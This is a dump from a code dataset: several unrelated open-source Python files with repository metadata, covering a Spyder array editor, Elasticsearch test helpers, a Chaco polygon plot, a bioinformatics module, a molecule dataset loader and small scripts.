range(self.stack.count()): self.stack.widget(index).accept_changes() QDialog.accept(self) def get_value(self): """Return modified array -- this is *not* a copy""" # It is import to avoid accessing Qt C++ object as it has probably # already been destroyed, due to the Qt.WA_DeleteOnClose attribute return self.data def error(self, message): """An error occured, closing the dialog box""" QMessageBox.critical(self, _("Array editor"), message) self.setAttribute(Qt.WA_DeleteOnClose) self.reject() @Slot() def reject(self): """Reimplement Qt method""" if self.arraywidget is not None: for index in range(self.stack.count()): self.stack.widget(index).reject_changes() QDialog.reject(self)

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84

0.53206

3,540

33,765

4.926836

0.180226

0.017889

0.013417

0.007224

0.207672

0.160197

0.102632

0.080901

0.043575

0.038186

0

0.008448

0.361943

33,765

847

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39.864227

0.801058

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0.187017

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0

1

0.068006

false

0.006182

0.018547

0

0.16847

0.003091

0

null

0

null

0

1

0

864d134a9c98ae3913986fb31b160d825e4250a2

4,638

py

Python

libbeat/tests/system/idxmgmt.py

dddpaul/beats

0d4a830fea46210ee264c52a977834d39493c750

[ "ECL-2.0", "Apache-2.0" ]

4

2020-11-17T06:29:30.000Z

2021-08-08T11:56:01.000Z

libbeat/tests/system/idxmgmt.py

dddpaul/beats

0d4a830fea46210ee264c52a977834d39493c750

[ "ECL-2.0", "Apache-2.0" ]

6

2020-06-23T16:28:27.000Z

2020-10-05T17:52:01.000Z

libbeat/tests/system/idxmgmt.py

dddpaul/beats

0d4a830fea46210ee264c52a977834d39493c750

[ "ECL-2.0", "Apache-2.0" ]

2

2020-10-26T15:34:06.000Z

2021-12-10T08:51:58.000Z

import datetime import unittest import pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client = client self._index = index if index != '' and index != '*' else 'mockbeat' def needs_init(self, s): return s == '' or s == '*' def delete(self, indices=[], policies=[]): indices = list([x for x in indices if x != '']) if not indices: indices == [self._index] for i in indices: self.delete_index_and_alias(i) self.delete_template(template=i) for i in [x for x in policies if x != '']: self.delete_policy(i) def delete_index_and_alias(self, index=""): if self.needs_init(index): index = self._index try: self._client.transport.perform_request('DELETE', "/" + index + "*") except NotFoundError: pass def delete_template(self, template=""): if self.needs_init(template): template = self._index try: self._client.transport.perform_request('DELETE', "/_template/" + template + "*") except NotFoundError: pass def delete_policy(self, policy): # Delete any existing policy starting with given policy policies = self._client.transport.perform_request('GET', "/_ilm/policy") for p, _ in policies.items(): if not p.startswith(policy): continue try: self._client.transport.perform_request('DELETE', "/_ilm/policy/" + p) except NotFoundError: pass def assert_index_template_not_loaded(self, template): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_template/' + template) def assert_index_template_loaded(self, template): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp assert "lifecycle" not in resp[template]["settings"]["index"] def assert_ilm_template_loaded(self, template, policy, alias): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert resp[template]["settings"]["index"]["lifecycle"]["name"] == policy assert resp[template]["settings"]["index"]["lifecycle"]["rollover_alias"] == alias def assert_index_template_index_pattern(self, template, index_pattern): resp = self._client.transport.perform_request('GET', '/_template/' + template) assert template in resp assert resp[template]["index_patterns"] == index_pattern def assert_alias_not_created(self, alias): resp = self._client.transport.perform_request('GET', '/_alias') for name, entry in resp.items(): if alias not in name: continue assert entry["aliases"] == {}, entry["aliases"] def assert_alias_created(self, alias, pattern=None): if pattern is None: pattern = self.default_pattern() name = alias + "-" + pattern resp = self._client.transport.perform_request('GET', '/_alias/' + alias) assert name in resp assert resp[name]["aliases"][alias]["is_write_index"] == True def assert_policy_not_created(self, policy): with pytest.raises(NotFoundError): self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) def assert_policy_created(self, policy): resp = self._client.transport.perform_request('GET', '/_ilm/policy/' + policy) assert policy in resp assert resp[policy]["policy"]["phases"]["hot"]["actions"]["rollover"]["max_size"] == "50gb" assert resp[policy]["policy"]["phases"]["hot"]["actions"]["rollover"]["max_age"] == "30d" def assert_docs_written_to_alias(self, alias, pattern=None): # Refresh the indices to guarantee all documents are available # through the _search API. self._client.transport.perform_request('POST', '/_refresh') if pattern is None: pattern = self.default_pattern() name = alias + "-" + pattern data = self._client.transport.perform_request('GET', '/' + name + '/_search') self.assertGreater(data["hits"]["total"]["value"], 0) def default_pattern(self): d = datetime.datetime.now().strftime("%Y.%m.%d") return d + "-000001" def index_for(self, alias, pattern=None): if pattern is None: pattern = self.default_pattern() return "{}-{}".format(alias, pattern)

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99

0.618586

525

4,638

5.262857

0.2

0.057908

0.096272

0.131741

0.446978

0.411871

0.372059

0.355411

0.294607

0.198335

0

0.003158

0.24903

4,638

117

100

39.641026

0.790123

0.02997

0

0.282609

0

0.101224

0

0.23913

1

0.184783

false

0.032609

0.043478

0.01087

0.271739

0

null

0

null

0

1

0

864d964c990a587e44dea52d446ea4e2f4b1a45e

6,340

py

Python

chaco/polygon_plot.py

burnpanck/chaco

6457cdd28625991ba69fbbee105051cab237aa51

[ "BSD-3-Clause" ]

3

2017-09-17T17:32:06.000Z

2022-03-15T13:04:43.000Z

chaco/polygon_plot.py

burnpanck/chaco

6457cdd28625991ba69fbbee105051cab237aa51

[ "BSD-3-Clause" ]

null

chaco/polygon_plot.py

burnpanck/chaco

6457cdd28625991ba69fbbee105051cab237aa51

[ "BSD-3-Clause" ]

5

2015-05-17T16:08:11.000Z

2021-02-23T09:23:42.000Z

""" Defines the PolygonPlot class. """ from __future__ import with_statement # Major library imports import numpy as np # Enthought library imports. from enable.api import LineStyle, black_color_trait, \ transparent_color_trait from kiva.agg import points_in_polygon from traits.api import Enum, Float, Tuple, Property, cached_property, \ on_trait_change # Local imports. from base_xy_plot import BaseXYPlot class PolygonPlot(BaseXYPlot): """ Plots a polygon in dataspace. Assuming that the index and value mappers are linear mappers, and that "index" corresponds to X-coordinates and "value" corresponds to Y-coordinates, the points are arranged in a counter-clockwise fashion. The polygon is closed automatically, so there is no need to reproduce the first point as the last point. Nonlinear mappers are possible, but the results may be unexpected. Only the data-space points are mapped in a nonlinear fashion. Straight lines connecting them in a linear screen-space become curved in a nonlinear screen-space; however, the drawing still contains straight lines in screen-space. If you don't want the edge of the polygon to be drawn, set **edge_color** to transparent; don't try to do this by setting **edge_width** to 0. In some drawing systems, such as PostScript, a line width of 0 means to make the line as small as possible while still putting ink on the page. """ # The color of the line on the edge of the polygon. edge_color = black_color_trait # The thickness of the edge of the polygon. edge_width = Float(1.0) # The line dash style for the edge of the polygon. edge_style = LineStyle # The color of the face of the polygon. face_color = transparent_color_trait # Override the hittest_type trait inherited from BaseXYPlot hittest_type = Enum("poly", "point", "line") # The RGBA tuple for rendering edges. It is always a tuple of length 4. # It has the same RGB values as edge_color_, and its alpha value is the # alpha value of self.edge_color multiplied by self.alpha. effective_edge_color = Property(Tuple, depends_on=['edge_color', 'alpha']) # The RGBA tuple for rendering the face. It is always a tuple of length 4. # It has the same RGB values as face_color_, and its alpha value is the # alpha value of self.face_color multiplied by self.alpha. effective_face_color = Property(Tuple, depends_on=['face_color', 'alpha']) #---------------------------------------------------------------------- # Private 'BaseXYPlot' interface #---------------------------------------------------------------------- def _gather_points(self): """ Collects the data points that are within the bounds of the plot and caches them. """ if self._cache_valid: return index = self.index.get_data() value = self.value.get_data() if not self.index or not self.value: return if len(index) == 0 or len(value) == 0 or len(index) != len(value): self._cached_data_pts = [] self._cache_valid = True return points = np.transpose(np.array((index,value))) self._cached_data_pts = points self._cache_valid = True def _render(self, gc, points): """ Renders an Nx2 array of screen-space points as a polygon. """ with gc: gc.clip_to_rect(self.x, self.y, self.width, self.height) gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_line_dash(self.edge_style_) gc.set_fill_color(self.effective_face_color) gc.lines(points) gc.close_path() gc.draw_path() def _render_icon(self, gc, x, y, width, height): """ Renders a representation of this plot as an icon into the box defined by the parameters. Used by the legend. """ with gc: gc.set_stroke_color(self.effective_edge_color) gc.set_line_width(self.edge_width) gc.set_fill_color(self.effective_face_color) if hasattr(self, 'line_style_'): gc.set_line_dash(self.line_style_) gc.draw_rect((x,y,width,height)) return def hittest(self, screen_pt, threshold=7.0, return_distance=False): """ Performs point-in-polygon testing or point/line proximity testing. If self.hittest_type is "line" or "point", then behaves like the parent class BaseXYPlot.hittest(). If self.hittest_type is "poly", then returns True if the given point is inside the polygon, and False otherwise. """ if self.hittest_type in ("line", "point"): return BaseXYPlot.hittest(self, screen_pt, threshold, return_distance) data_pt = self.map_data(screen_pt, all_values=True) index = self.index.get_data() value = self.value.get_data() poly = np.vstack((index,value)).T if points_in_polygon([data_pt], poly)[0] == 1: return True else: return False #------------------------------------------------------------------------ # Event handlers #------------------------------------------------------------------------ @on_trait_change('edge_color, edge_width, edge_style, face_color, alpha') def _attributes_changed(self): self.invalidate_draw() self.request_redraw() #------------------------------------------------------------------------ # Property getters #------------------------------------------------------------------------ @cached_property def _get_effective_edge_color(self): if len(self.edge_color_) == 4: edge_alpha = self.edge_color_[-1] else: edge_alpha = 1.0 c = self.edge_color_[:3] + (edge_alpha * self.alpha,) return c @cached_property def _get_effective_face_color(self): if len(self.face_color_) == 4: face_alpha = self.face_color_[-1] else: face_alpha = 1.0 c = self.face_color_[:3] + (face_alpha * self.alpha,) return c

36.647399

82

0.603312

828

6,340

4.43599

0.266908

0.031854

0.016335

0.013068

0.288048

0.166077

0.128233

0.109992

0

0.004871

0.255205

6,340

172

83

36.860465

0.772978

0.424606

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0.3125

0

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0

1

0.0875

false

0

0.075

0

0.375

0

null

0

null

0

1

0

86502380f0447c4c5893fb4c09f732239b1cc11f

552

py

Python

webapp/template_config.py

evgenyss/investing

b72da8587a4783bfdd389f1781dcd108d1a5e53f

[ "MIT" ]

null

webapp/template_config.py

evgenyss/investing

b72da8587a4783bfdd389f1781dcd108d1a5e53f

[ "MIT" ]

null

webapp/template_config.py

evgenyss/investing

b72da8587a4783bfdd389f1781dcd108d1a5e53f

[ "MIT" ]

null

import os from datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = "https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/" API_LASTPRICES_URL = "https://invest-public-api.tinkoff.ru/rest/\ tinkoff.public.invest.api.contract.v1.MarketDataService/GetLastPrices" SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, '..', 'webapp.db') REMEMBER_COOKIE_DURATION = timedelta(days=1) SQLALCHEMY_TRACK_MODIFICATIONS = False SECRET_KEY = "" API_TOKEN = ""

29.052632

116

0.778986

73

552

5.671233

0.589041

0.043478

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0.096618

0.328502

0

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0.076087

552

18

117

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0

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0.217391

0

1

0

false

0

0.181818

0

0.181818

0

null

0

null

0

1

0

8650d9e6c008eb69e8a60ee61bf0c6b0618f2c83

3,842

py

Python

humann2/quantify/families.py

dytk2134/humann2

9b8f212bdd910ee7187f06f1550f0c86bce0473b

[ "MIT" ]

null

humann2/quantify/families.py

dytk2134/humann2

9b8f212bdd910ee7187f06f1550f0c86bce0473b

[ "MIT" ]

null

humann2/quantify/families.py

dytk2134/humann2

9b8f212bdd910ee7187f06f1550f0c86bce0473b

[ "MIT" ]

null

""" HUMAnN2: quantify_families module Compute alignments by gene family Copyright (c) 2014 Harvard School of Public Health Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import os import logging import math from .. import config from .. import utilities from .. import store # name global logging instance logger=logging.getLogger(__name__) def gene_families(alignments,gene_scores,unaligned_reads_count): """ Compute the gene families from the alignments """ logger.debug("Compute gene families") # Compute scores for each gene family for each bug set alignments.convert_alignments_to_gene_scores(gene_scores) # Process the gene id to names mappings gene_names=store.Names(config.gene_family_name_mapping_file) delimiter=config.output_file_column_delimiter category_delimiter=config.output_file_category_delimiter # Write the scores ordered with the top first column_name=config.file_basename+"_Abundance-RPKs" if config.remove_column_description_output: column_name=config.file_basename tsv_output=["# Gene Family"+delimiter+column_name] # Add the unaligned reads count tsv_output.append(config.unmapped_gene_name+delimiter+utilities.format_float_to_string(unaligned_reads_count)) # Print out the gene families with those with the highest scores first for gene in gene_scores.gene_list_sorted_by_score("all"): all_score=gene_scores.get_score("all",gene) if all_score>0: gene_name=gene_names.get_name(gene) # Print the computation of all bugs for gene family tsv_output.append(gene_name+delimiter+utilities.format_float_to_string(all_score)) # Process and print per bug if selected if not config.remove_stratified_output: # Print scores per bug for family ordered with those with the highest values first scores_by_bug=gene_scores.get_scores_for_gene_by_bug(gene) for bug in utilities.double_sort(scores_by_bug): if scores_by_bug[bug]>0: tsv_output.append(gene_name+category_delimiter+bug+delimiter +utilities.format_float_to_string(scores_by_bug[bug])) if config.output_format=="biom": # Open a temp file if a conversion to biom is selected tmpfile=utilities.unnamed_temp_file() file_handle=open(tmpfile,'w') file_handle.write("\n".join(tsv_output)) file_handle.close() utilities.tsv_to_biom(tmpfile,config.genefamilies_file,"Gene") else: # Write output as tsv format file_handle = open(config.genefamilies_file, "w") file_handle.write("\n".join(tsv_output)) file_handle.close() return config.genefamilies_file

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116

0.728267

534

3,842

5.050562

0.346442

0.032629

0.016314

0.032258

0.132369

0.08046

0.066741

0.03337

0

0.002313

0.212389

3,842

94

117

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0

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0.15

0

0.2

0

null

0

null

0

1

0

865144cd196eb39a73555fc643c117d083a615cc

744

py

Python

Buta Nicolae/threads.py

RazvanBalau/parallel-2020

bd9c0dea6cc70e167320f64632d7a235522dfdb3

[ "MIT" ]

null

Buta Nicolae/threads.py

RazvanBalau/parallel-2020

bd9c0dea6cc70e167320f64632d7a235522dfdb3

[ "MIT" ]

null

Buta Nicolae/threads.py

RazvanBalau/parallel-2020

bd9c0dea6cc70e167320f64632d7a235522dfdb3

[ "MIT" ]

23

2020-01-15T15:02:39.000Z

2020-01-15T17:23:03.000Z

import threading from multiprocessing import Queue results = [] results2 = [] def take_numbers(q): print('Enter the numbers:') for i in range(0,3): num1 = int(input('Enter first number: ')) num2 = int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q): for i in range(0,3): num1 = q.get() num2 = q.get() results.append(num1+num2) results2.append(num1-num2) q = Queue() t2 = threading.Thread(target=add_num, args=(q, )) t1 = threading.Thread(target=take_numbers, args=(q, )) t2.start() t1.start() t2.join() t1.join() q.close() for result in results: print ("adunare =", result) for result in results2: print ("scadere =", result)

20.666667

54

0.606183

106

744

4.216981

0.40566

0.049217

0.026846

0.049217

0.076063

0

0.040636

0.239247

744

36

55

20.666667

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false

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0.068966

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0.137931

0.103448

0

null

0

null

0

1

0

86517e62e82db5794921e6da0e41993351344585

576

py

Python

code_week11_76_712/unique_paths.py

dylanlee101/leetcode

b059afdadb83d504e62afd1227107de0b59557af

[ "Apache-2.0" ]

null

code_week11_76_712/unique_paths.py

dylanlee101/leetcode

b059afdadb83d504e62afd1227107de0b59557af

[ "Apache-2.0" ]

null

code_week11_76_712/unique_paths.py

dylanlee101/leetcode

b059afdadb83d504e62afd1227107de0b59557af

[ "Apache-2.0" ]

null

''' 一个机器人位于一个 m x n 网格的左上角（起始点在下图中标记为“Start” ）。机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角（在下图中标记为“Finish”）。问总共有多少条不同的路径？例如，上图是一个7 x 3 的网格。有多少可能的路径？示例 1: 输入: m = 3, n = 2 输出: 3 解释: 从左上角开始，总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2. 向右 -> 向下 -> 向右 3. 向下 -> 向右 -> 向右示例 2: 输入: m = 7, n = 3 输出: 28 来源：力扣（LeetCode）链接：https://leetcode-cn.com/problems/unique-paths ''' class Solution: def uniquePaths(self, m: int, n: int) -> int: dp = [1] + [0] * n for i in range(m): for j in range(n): dp[j] = dp[j] + dp[j-1] return dp[-2]

15.567568

49

0.552083

98

576

3.244898

0.55102

0.028302

0.031447

0.037736

0

0.045673

0.277778

576

37

50

15.567568

0.71875

0.616319

0

1

0.142857

false

0

0.428571

0

null

0

null

0

1

0

86524c143ea8ba1817f21135f1c0c27360fa74e8

3,361

py

Python

spektral/datasets/qm9.py

JonaBecher/spektral

ff59e16d959e0ec698428997363be20462625699

[ "MIT" ]

2,145

2019-01-21T20:49:44.000Z

2022-03-28T20:27:27.000Z

spektral/datasets/qm9.py

jasper-park/spektral

ad2d96549c00f68ce992a7d29e2c3fd025fb529b

[ "MIT" ]

259

2019-01-22T05:18:19.000Z

2022-03-25T10:46:10.000Z

spektral/datasets/qm9.py

jasper-park/spektral

ad2d96549c00f68ce992a7d29e2c3fd025fb529b

[ "MIT" ]

322

2019-02-11T16:18:27.000Z

2022-03-24T16:26:59.000Z

import os import os.path as osp import numpy as np from joblib import Parallel, delayed from tensorflow.keras.utils import get_file from tqdm import tqdm from spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1, 6, 7, 8, 9] BOND_TYPES = [1, 2, 3, 4] class QM9(Dataset): """ The QM9 chemical data set of small molecules. In this dataset, nodes represent atoms and edges represent chemical bonds. There are 5 possible atom types (H, C, N, O, F) and 4 bond types (single, double, triple, aromatic). Node features represent the chemical properties of each atom and include: - The atomic number, one-hot encoded; - The atom's position in the X, Y, and Z dimensions; - The atomic charge; - The mass difference from the monoisotope; The edge features represent the type of chemical bond between two atoms, one-hot encoded. Each graph has an 19-dimensional label for regression. **Arguments** - `amount`: int, load this many molecules instead of the full dataset (useful for debugging). - `n_jobs`: number of CPU cores to use for reading the data (-1, to use all available cores). """ url = "https://deepchemdata.s3-us-west-1.amazonaws.com/datasets/gdb9.tar.gz" def __init__(self, amount=None, n_jobs=1, **kwargs): self.amount = amount self.n_jobs = n_jobs super().__init__(**kwargs) def download(self): get_file( "qm9.tar.gz", self.url, extract=True, cache_dir=self.path, cache_subdir=self.path, ) os.remove(osp.join(self.path, "qm9.tar.gz")) def read(self): print("Loading QM9 dataset.") sdf_file = osp.join(self.path, "gdb9.sdf") data = load_sdf(sdf_file, amount=self.amount) # Internal SDF format def read_mol(mol): x = np.array([atom_to_feature(atom) for atom in mol["atoms"]]) a, e = mol_to_adj(mol) return x, a, e data = Parallel(n_jobs=self.n_jobs)( delayed(read_mol)(mol) for mol in tqdm(data, ncols=80) ) x_list, a_list, e_list = list(zip(*data)) # Load labels labels_file = osp.join(self.path, "gdb9.sdf.csv") labels = load_csv(labels_file) labels = labels.set_index("mol_id").values if self.amount is not None: labels = labels[: self.amount] return [ Graph(x=x, a=a, e=e, y=y) for x, a, e, y in zip(x_list, a_list, e_list, labels) ] def atom_to_feature(atom): atomic_num = label_to_one_hot(atom["atomic_num"], ATOM_TYPES) coords = atom["coords"] charge = atom["charge"] iso = atom["iso"] return np.concatenate((atomic_num, coords, [charge, iso]), -1) def mol_to_adj(mol): row, col, edge_features = [], [], [] for bond in mol["bonds"]: start, end = bond["start_atom"], bond["end_atom"] row += [start, end] col += [end, start] edge_features += [bond["type"]] * 2 a, e = sparse.edge_index_to_matrix( edge_index=np.array((row, col)).T, edge_weight=np.ones_like(row), edge_features=label_to_one_hot(edge_features, BOND_TYPES), ) return a, e

29.482456

80

0.621839

497

3,361

4.060362

0.352113

0.014866

0.019326

0.040634

0.025768

0

0.011722

0.26391

3,361

113

81

29.743363

0.803961

0.249331

0

0.015152

0.078215

0

1

0.090909

false

0

0.136364

0

0.318182

0.015152

0

null

0

null

0

1

0

865416b109055549efa6918ca6073abc6d07a490

602

py

Python

code/Level 1 - Intro to CPX/5-acceleration/main.py

tscofield/cpx-training

682a2cef6bb164bc7c374744de94c21581258392

[ "MIT" ]

null

code/Level 1 - Intro to CPX/5-acceleration/main.py

tscofield/cpx-training

682a2cef6bb164bc7c374744de94c21581258392

[ "MIT" ]

null

code/Level 1 - Intro to CPX/5-acceleration/main.py

tscofield/cpx-training

682a2cef6bb164bc7c374744de94c21581258392

[ "MIT" ]

1

2019-02-07T04:04:05.000Z

from adafruit_circuitplayground.express import cpx # Main loop gets x, y and z axis acceleration, prints the values, and turns on # red, green and blue, at levels related to the x, y and z values. while True: if cpx.switch: print("Slide switch off!") cpx.pixels.fill((0, 0, 0)) continue else: R = 0 G = 0 B = 0 x, y, z = cpx.acceleration print((x, y, z)) if x: R = R + abs(int(x)) if y: G = G + abs(int(y)) if z: B = B + abs(int(z)) cpx.pixels.fill((R, G, B))

25.083333

78

0.503322

94

602

3.212766

0.468085

0.02649

0.033113

0.039735

0

0.016129

0.38206

602

23

79

26.173913

0.795699

0.234219

0

0.037199

0

1

0

false

0

0.052632

0

0.052632

0.105263

0

null

0

null

0

1

0

86543345af40c82152fa05b0f713964bb091299c

7,692

py

Python

src/data_preprocess.py

QinganZhao/ML-based-driving-motion-prediction

5a7772cf199d30e4e33bbe943775c2e19aac5d5b

[ "MIT" ]

18

2019-01-08T02:53:56.000Z

2022-03-03T11:34:20.000Z

src/data_preprocess.py

QinganZhao/ML-based-driving-motion-prediction

5a7772cf199d30e4e33bbe943775c2e19aac5d5b

[ "MIT" ]

null

src/data_preprocess.py

QinganZhao/ML-based-driving-motion-prediction

5a7772cf199d30e4e33bbe943775c2e19aac5d5b

[ "MIT" ]

7

2018-06-13T20:12:25.000Z

2022-02-20T08:39:07.000Z

import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.loadtxt('./car2/'+str(file_name)) return data def get_low_freq_data(data): """ Return a data matrix with 0.1s per time step data. (from 0.01s data) """ matrix = np.zeros((1, data.shape[1])) for i in range(data.shape[0]): if i % 10 == 0: matrix = np.concatenate((matrix, data[i,:].reshape(1,data.shape[1])),axis=0) return matrix[1:,:] def data_process(): """ This function serves to concatenate the information of two cars into one array. Note: car1 -- mainlane car; car2 -- merging car; OutFormat: 0 case_ID 1 frame_ID 2 car1_long_pos 3 car1_long_vel 4 car1_lateral_pos 5 car1_lateral_displacement 6 car2_long_pos 7 car2_long_vel 8 car2_lateral_pos 9 car2_lateral_displacement 10 relative_long_vel (merge - mainlane) 11 relative_lateral_distance (merge - mainlane) 12 relative_long_distance (merge - mainlane) 13 car1_yaw 14 car2_yaw 15 situation label: (0: car1 yields car2; 1: car2 yields car1) """ data_matrix = np.zeros((1,16)) for i in range(128): file_name_1 = 'data_'+str(i)+'_1.txt' file_name_2 = 'data_'+str(i)+'_2.txt' car1 = get_low_freq_data(load_data(file_name_1, 1)) car2 = get_low_freq_data(load_data(file_name_2, 2)) T = int(car1.shape[0]) #print(T) current_data_matrix = np.zeros((T,16)) for j in range(1, T): current_data_matrix[j,0] = i current_data_matrix[j,1] = j current_data_matrix[j,2] = car1[j,1] current_data_matrix[j,3] = 10 * (car1[j,1] - car1[j-1,1]) current_data_matrix[j,4] = car1[j,2] current_data_matrix[j,5] = car1[j,2] - car1[j-1,2] current_data_matrix[j,6] = car2[j,1] current_data_matrix[j,7] = 10 * (car2[j,1] - car2[j-1,1]) current_data_matrix[j,8] = car2[j,2] current_data_matrix[j,9] = car2[j,2] - car2[j-1,2] current_data_matrix[j,10] = current_data_matrix[j,7] - current_data_matrix[j,3] current_data_matrix[j,11] = current_data_matrix[j,8] - current_data_matrix[j,4] current_data_matrix[j,12] = current_data_matrix[j,6] - current_data_matrix[j,2] current_data_matrix[j,13] = car1[j,3] current_data_matrix[j,14] = car2[j,3] if car1[-1,1] > car2[-1,1]: current_data_matrix[j,15] = 1 else: current_data_matrix[j,15] = 0 current_data_matrix = current_data_matrix[1:, :] data_matrix = np.concatenate((data_matrix, current_data_matrix),axis=0) np.savetxt('./data_matrix.txt', data_matrix[1:,:],'%.4f') ################################################################## def divide_data(data_matrix, segment_length): """ This function serves to separate two situation cases. """ situation0_data = data_matrix[np.where(data_matrix[:,-1] == 0)] situation1_data = data_matrix[np.where(data_matrix[:,-1] == 1)] np.savetxt('./all_trajs_1.txt', situation0_data, '%.4f') np.savetxt('./all_trajs_2.txt', situation1_data, '%.4f') # count seq lengths # separate sequence segments # all_trajs_seg_1 = np.zeros((1, data_matrix.shape[1])) # all_trajs_seg_2 = np.zeros((1, data_matrix.shape[1])) all_trajs_1 = np.zeros((1, data_matrix.shape[1])) all_trajs_2 = np.zeros((1, data_matrix.shape[1])) count0, count1 = [], [] # for i in range(128): # print('i = '+str(i)) # temp_data = data_matrix[np.where(data_matrix[:,0] == i)] # if temp_data[0,-1] == 0: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count0.append(temp_seg_data.shape[0]) # all_trajs_seg_1 = np.concatenate((all_trajs_seg_1, temp_seg_data),axis=0) # else: # for j in range(temp_data.shape[0]-segment_length+1): # temp_seg_data = temp_data[j:j+segment_length, :] # count1.append(temp_seg_data.shape[0]) # all_trajs_seg_2 = np.concatenate((all_trajs_seg_2, temp_seg_data),axis=0) for i in range(128): print('i = '+str(i)) temp_data = data_matrix[np.where(data_matrix[:,0] == i)] if temp_data[0,-1] == 0: count0.append(temp_data.shape[0]) all_trajs_1 = np.concatenate((all_trajs_1, temp_data),axis=0) elif temp_data[0,-1] == 1: count1.append(temp_data.shape[0]) all_trajs_2 = np.concatenate((all_trajs_2, temp_data),axis=0) print(all_trajs_1.shape) print(all_trajs_2.shape) print(sum(count0)) print(sum(count1)) # np.savetxt('./all_trajs_seg_1.txt', all_trajs_seg_1[1:,:], '%.4f') # np.savetxt('./all_trajs_seg_2.txt', all_trajs_seg_2[1:,:], '%.4f') np.savetxt('./all_trajs_seq_length_1.txt', np.array(count0), '%d') np.savetxt('./all_trajs_seq_length_2.txt', np.array(count1), '%d') #data_process() #data_matrix = np.loadtxt('./data_matrix.txt') #divide_data(data_matrix=data_matrix, segment_length=30) ############################################### def check_data(): data = np.loadtxt('../simulation_data/data_matrix.txt') temp_data = data[np.where(data[:,0]==69)] T = temp_data.shape[0] car1_long_vel = temp_data[:,3] car2_long_vel = temp_data[:,7] car1_acc = 10*(temp_data[1:,3]-temp_data[:-1,3]) car2_acc = 10*(temp_data[1:,7]-temp_data[:-1,7]) # plt.figure(1) # plt.plot(range(T-1), car1_acc, c='b', label='main lane car acceleration') # plt.plot(range(T-1), car2_acc, c='r', label='merging car acceleration') # plt.legend() plt.figure(2,figsize=(14,4)) plt.plot(range(T), car1_long_vel, c='b', label='main lane car velocity') plt.plot(range(T), car2_long_vel, c='r', label='merging car velocity') plt.legend() plt.savefig('./long_vel_69.eps', bbox_inches='tight') #plt.show() #check_data() ############################################### def plot_vehicles(case_id, data_matrix): """ This function is to plot vehicle trajectories with bounding boxes. """ current_case_data = data_matrix[np.where(data_matrix[:,0]==case_id)] T = current_case_data.shape[0] fig = plt.figure(figsize=(20,2)) for i in range(T): if i<10: name='00'+str(i) elif i>=10 and i<100: name = '0'+str(i) elif i>=100: name = str(i) ax = fig.add_subplot(111, aspect='equal') ax.add_patch( patches.Rectangle( (current_case_data[i,2]-2.0, current_case_data[i,4]-0.9), # (x,y) 4.0, # width 1.8, # height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='blue', edgecolor='black', linewidth=0.5 ) ) ax.add_patch( patches.Rectangle( (current_case_data[i,6]-2.0, current_case_data[i,8]-0.9), # (x,y) 4.0, # width 1.8, # height alpha = 0.3 + 0.7*(T-i) / float(T), facecolor='red', edgecolor='black', linewidth=0.5 ) ) ax.plot(range(-805,-360),-605*np.ones(445), color='k',linewidth=1) ax.plot(range(-805,-584),-610*np.ones(221), color='k',linewidth=1) ax.plot(range(-445,-360),-610*np.ones(85), color='k',linewidth=1) x = [[-584,-805],[-445,-805]] y = [[-610,-618],[-610,-622]] for l in range(len(x)): ax.plot(x[l], y[l], color='k',linewidth=1) ax.set_xlim(-680, -400) ax.set_ylim(-620, -600) ax.set_xticks([]) ax.set_yticks([]) fig.savefig('./vehicles_plot/'+str(case_id)+'_'+str(name)+'.png', bbox_inches='tight') data_matrix = np.loadtxt('./data_matrix.txt') plot_vehicles(case_id=8, data_matrix=data_matrix)

29.136364

89

0.623375

1,246

7,692

3.614767

0.162921

0.130995

0.101909

0.091918

0.442496

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0.238455

0.181172

0.140764

0.099911

0

0.065277

0.189418

7,692

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0.657097

0.25637

0

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0

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false

0

0.030303

0

0.090909

0.037879

0

null

0

null

0

1

0

86545fd84ae7762d72208edf0f23289ff9f754a1

4,660

py

Python

balancesheet/equityManager.py

tylertjburns/ledgerkeeper

cd69e9f48f35a973d08e450dfffdfea46bdc3802

[ "MIT" ]

null

balancesheet/equityManager.py

tylertjburns/ledgerkeeper

cd69e9f48f35a973d08e450dfffdfea46bdc3802

[ "MIT" ]

null

balancesheet/equityManager.py

tylertjburns/ledgerkeeper

cd69e9f48f35a973d08e450dfffdfea46bdc3802

[ "MIT" ]

null

